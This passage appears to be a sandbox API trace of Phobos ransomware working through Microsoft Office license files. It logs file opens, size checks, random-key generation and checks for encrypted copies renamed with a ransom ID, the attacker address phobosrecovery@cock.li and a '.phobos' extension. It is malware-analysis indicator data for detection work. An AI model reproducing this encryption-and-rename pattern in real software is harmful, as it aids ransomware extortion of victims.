Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.020] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.020] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.020] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10639) returned 1 [0153.020] CloseHandle (hObject=0x580) returned 1 [0153.020] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-pl.xrm-ms")) returned 0x220 [0153.020] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.020] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.020] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.020] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.021] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20992) returned 1 [0153.021] CloseHandle (hObject=0x580) returned 1 [0153.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ppd.xrm-ms")) returned 0x220 [0153.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.021] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.021] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.021] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.022] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11589) returned 1 [0153.022] CloseHandle (hObject=0x580) returned 1 [0153.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ul-oob.xrm-ms")) returned 0x220 [0153.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.022] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.022] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19934) returned 1 [0153.022] CloseHandle (hObject=0x580) returned 1 [0153.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ul-phn.xrm-ms")) returned 0x220 [0153.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.023] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.023] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11151) returned 1 [0153.023] CloseHandle (hObject=0x580) returned 1 [0153.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-pl.xrm-ms")) returned 0x220 [0153.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.024] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.027] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=21115) returned 1 [0153.027] CloseHandle (hObject=0x580) returned 1 [0153.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-ppd.xrm-ms")) returned 0x220 [0153.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.028] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.028] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11601) returned 1 [0153.029] CloseHandle (hObject=0x580) returned 1 [0153.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-ul-oob.xrm-ms")) returned 0x220 [0153.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.029] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.130] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=590523) returned 1 [0153.130] CloseHandle (hObject=0x580) returned 1 [0153.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\pkeyconfig-office.xrm-ms")) returned 0x220 [0153.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\pkeyconfig-office.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\pkeyconfig-office.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.132] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.133] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11633) returned 1 [0153.133] CloseHandle (hObject=0x580) returned 1 [0153.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-ul-oob.xrm-ms")) returned 0x220 [0153.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.133] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.134] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11191) returned 1 [0153.134] CloseHandle (hObject=0x580) returned 1 [0153.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-pl.xrm-ms")) returned 0x220 [0153.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.134] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.135] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20919) returned 1 [0153.135] CloseHandle (hObject=0x580) returned 1 [0153.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-ppd.xrm-ms")) returned 0x220 [0153.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.135] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.136] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11638) returned 1 [0153.136] CloseHandle (hObject=0x580) returned 1 [0153.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-ul-oob.xrm-ms")) returned 0x220 [0153.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.136] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.137] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11211) returned 1 [0153.137] CloseHandle (hObject=0x580) returned 1 [0153.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0153.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.137] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.140] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.141] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20983) returned 1 [0153.141] CloseHandle (hObject=0x57c) returned 1 [0153.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0153.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.141] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.142] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11661) returned 1 [0153.142] CloseHandle (hObject=0x57c) returned 1 [0153.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0153.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.144] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.145] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.145] GetFileSizeEx (in: hFile=0x57c, 